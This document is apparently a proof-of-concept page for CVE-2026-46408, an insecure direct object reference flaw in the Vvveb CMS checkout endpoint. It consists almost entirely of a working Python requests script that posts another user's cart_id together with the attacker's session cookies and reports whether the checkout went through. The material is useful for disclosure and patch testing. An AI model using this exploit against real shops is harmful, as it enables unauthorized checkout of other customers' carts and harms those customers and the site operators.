CVE-2026-46408 Vvveb CMS结账越权漏洞

# Proof of Concept for CVE-2026-46408 # Description: IDOR in checkout endpoint allows reusing other users' cart_id import requests target_url = "http://target-vvveb-site.com/index.php?module=cart&action=checkout" # Attacker's session cookie after login attacker_cookies = { "PHPSESSID": "attacker_session_id_here", "vvveb_user_session": "attacker_token_here" } # Victim's cart ID (guessed or leaked) victim_cart_id = "12345" # Payload data payload = { "cart_id": victim_cart_id, "payment_method": "cod" } try: # Send request to checkout with victim's cart_id response = requests.post(target_url, data=payload, cookies=attacker_cookies) if response.status_code == 200 and "checkout" in response.text: print("[+] Exploit successful: Checkout initiated with victim's cart.") print("[+] Response snippet:", response.text[:200]) else: print("[-] Exploit failed or cart not found.") except Exception as e: print(f"Error: {e}")